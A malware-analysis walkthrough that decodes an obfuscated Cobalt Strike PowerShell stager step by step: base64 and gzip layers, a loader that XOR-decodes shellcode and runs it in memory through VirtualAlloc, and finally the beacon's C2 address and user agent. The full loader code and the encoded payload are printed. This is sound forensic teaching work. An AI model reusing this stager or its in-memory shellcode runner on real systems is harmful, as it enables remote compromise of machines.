

# Cobalt Strike: Find the Beacon

This artifact of obfuscated code was recently found in someone's environment, somewhere. I had the opportunity to pick at it for a few minutes. The results are consistent, whether I practice most of it at the command line or use GUI tools like the venerable Cyber Chef. I like to practice with both...

Below is the first decoding phase:

```
sansforensics@siftworkstation: ~
$ base64 -d Desktop/cases/cobalt_strike/cb_c2 | tee Desktop/cases/cobalt_strike/cb_decoded
-1
$S=New-Object IO.MemoryStream(,[Convert]::FromBase64String("H4sIAAAAAAAAK1X630iShb/HP8KPq
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
Aw4AAA=="));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Co
mpression.CompressionMode]::Decompress)).ReadToEnd());
```

The first line of the decoded string appears to be PowerShell. The main body appears to be base64-encoded. The last argument hints at the possibility that a string(s) will be compressed with Gzip.

I copied the base64-encoded body of strings (with the "/" separators) to a new file "cb\_decoded-1\_b64.txt" for further investigation. Trying to decode the original output file "cb\_decoded-1.txt" will throw errors, since parts of the file are not encoded.

Sure enough, trying to decode base64 alone yields an output that strongly resembles compression:

```
$ base64 -d Desktop/cases/cobalt_strike/cb_decoded-1_b64.txt
WosJ
>J-A1>fk.
;`$o!nnp( y_"Woba {&Ys[M,,p3yJ +vQ7b77("}<8Gd
[*A{^|{L:(*ob{2S_[m^Knn!wO5-p R*gggrW a
Q{2)}~ImxL6"wsX{3;_I={bzbzR[3=QM~!|pLd
\4Ak'+F.H=j
    *zVA}-d(LQ5"\ysd*IU
```

I used gunzip to decode that output and create “cb\_decoded-2-gunzipped.txt” to represent the second de-obfuscation artifact.

First half:

```
sansforensics@siftworkstation: ~
$ base64 -d Desktop/cases/cobalt_strike/cb_decoded-1_b64.txt | gunzip -d | tee Desktop/cas
es/cobalt_strike/cb_decoded-2-gunzipped.txt
Set-StrictMode -Version 2

$DoIt = @'
function func_get_proc_address {
    Param ($var_module, $var_procedure)
    $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Ob
ject { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).Ge
tType('Microsoft.Win32.UnsafeNativeMethods')
    $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('Syst
em.Runtime.InteropServices.HandleRef', 'string'))
    return $var_gpa.Invoke($null, @( [System.Runtime.InteropServices.HandleRef](New-Obj
ect System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_meth
ods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

function func_get_delegate_type {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
        [Parameter(Position = 1)] [Type] $var_return_type = [Void]
    )

    $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object S
ystem.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuild
erAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType',
'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Re
flection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime,
Managed')
    $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $v
ar_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

    return $var_type_builder.CreateType()
}
```



Second half:

```
[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJ  
RpBRLcEu0PH0JfIQ8D4uwuIuTB03F0qHEzqGEfIv0oY1um41dpIVNzqGs7qHsDIvDAH2qoF6gi9RLcEu0P4uwuIuQb  
w1bXIF7bGF4HVsF7qHsHivBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXlcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJN  
z2yyMjIyMS3HR0dHR0Sxl1WoTc9sqHIyMjeBLqcnJJIHJyS5giIyNwc0t0qrzL3PZzyq8jIyN4EvFxSyMR46dxcXfW  
cXNLyHYNGNz2quWg4HNLoxAjI6rDSSdzSTx1S1ZLvaXc9nwS3HR0SdxwdUsOJTtY3Pam4yyn6SIjIxLcptVXJ6rayC  
pLiebBftz2quJLZgJ9Etz2EtX0SSRydXNLHTDKNz2nCMMyMa5FYke3PKWNzc3BLcyrIiIyPK6iIjI8tM3NzcDGRm  
WnQjVupfMgOCi77Vr9FL/8/s0M3uBbCPN8UgjkAhP08GTMwtAEacA8s+Vs3w0P+v0byX1BDBo8R1IqAtQgrkqmsS9  
qNL6fLeBwPAin2UEZRDMJERk1XGQNuTfLKT09CDBYNEwMLdEpNR0xUUANTdwmVDRIYA3RsdBUXGAN3UUpHRk1XDBQN  
ExgDUVUZEHINEwoDT0pIRgNkrkBITC4pI55Y0YJEKDeTlw1yPznynMsFE+HEwD1W0mhv7x8Q7i4eyckD008N2q/ajD  
b5jKowVhAlg3v+SilrYXBJG1+CrSkKxPwXNLae0/WbKuM5YhqqHbUW+xtSyTPPUWrfesMIyGVxlDDiwoUr6xEXGMW  
iXM7SfavhCSSgAbglhgwQyo37yH2oWK0PvkHdA8lef9S1HbMwtCBdrM0XT9ocn+RA7JSH7zU+kNA2p9g9FXqNiNYdn  
XDX0NuwnuNUsyPW6zMhX3sWyby9tbJOIBL9RLc1nrY0rjoeunZufqc1/QjS90WgXXc9kljSyMzIyNLIyNjI3RLe4dw  
xtz2sJoJiyMjIvpycKrEdEsjAyMjchVLMbWqwdz2puNX5agkIuCm41bGe+DLqt7c3BESFQ0SFhyNEhAWDRISEinZBJ  
6L')
```

```
for ($x = 0; $x -lt $var_code.Count; $x++) {  
    $var_code[$x] = $var_code[$x] -bxor 35  
}  
  
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_ge  
t_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [U  
Int32], [UInt32]) ([IntPtr])))  
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)  
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length  
)  
  
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_  
buffer, (func_get_delegate_type @([IntPtr]) ([Void])))  
$var_runme.Invoke([IntPtr]::Zero)  
'@  
  
If ([IntPtr]::size -eq 8) {  
    start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job  
}  
else {  
    IEX $DoIt  
}
```

Note that the journey is not complete. You can see another base64-encoded module in the second screenshot of the output, directly above.

The following argument is a “for” loop that indicates the preceding module is XOR-encoded. I copied the encoded module to a new file “cb\_decoded-2-gunzipped\_b64-xor.txt” for the next phase of de-obfuscation.

*I have not found an XOR decoding solution for BASH, so this portion remains incomplete.*

For the time being, I attempted another base64 decode with Cyber Chef and redirected the output using the given XOR key to finish decoding it.

The image shows the CyberChef 'Recipe' interface. It has two main sections: 'From Base64' and 'XOR'. In the 'From Base64' section, the 'Alphabet' is set to 'A-Za-z0-9+/' and the 'Remove non-alphabet chars' checkbox is checked. In the 'XOR' section, the 'Key' is set to '35' and the 'Scheme' is set to 'Standard'. The 'Null preserving' checkbox is unchecked.

The image shows the 'Output' window of CyberChef. It displays the result of the decoding process. The text is mostly garbled, but a red box highlights a line that reads: 'Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'. A red arrow points to this line with the text 'User-Agent Signature: IE11 on Windows 7'. Another red box highlights the IP address '216.155.135.111' at the bottom of the output, with a red arrow pointing to it and the text 'C2 Address'.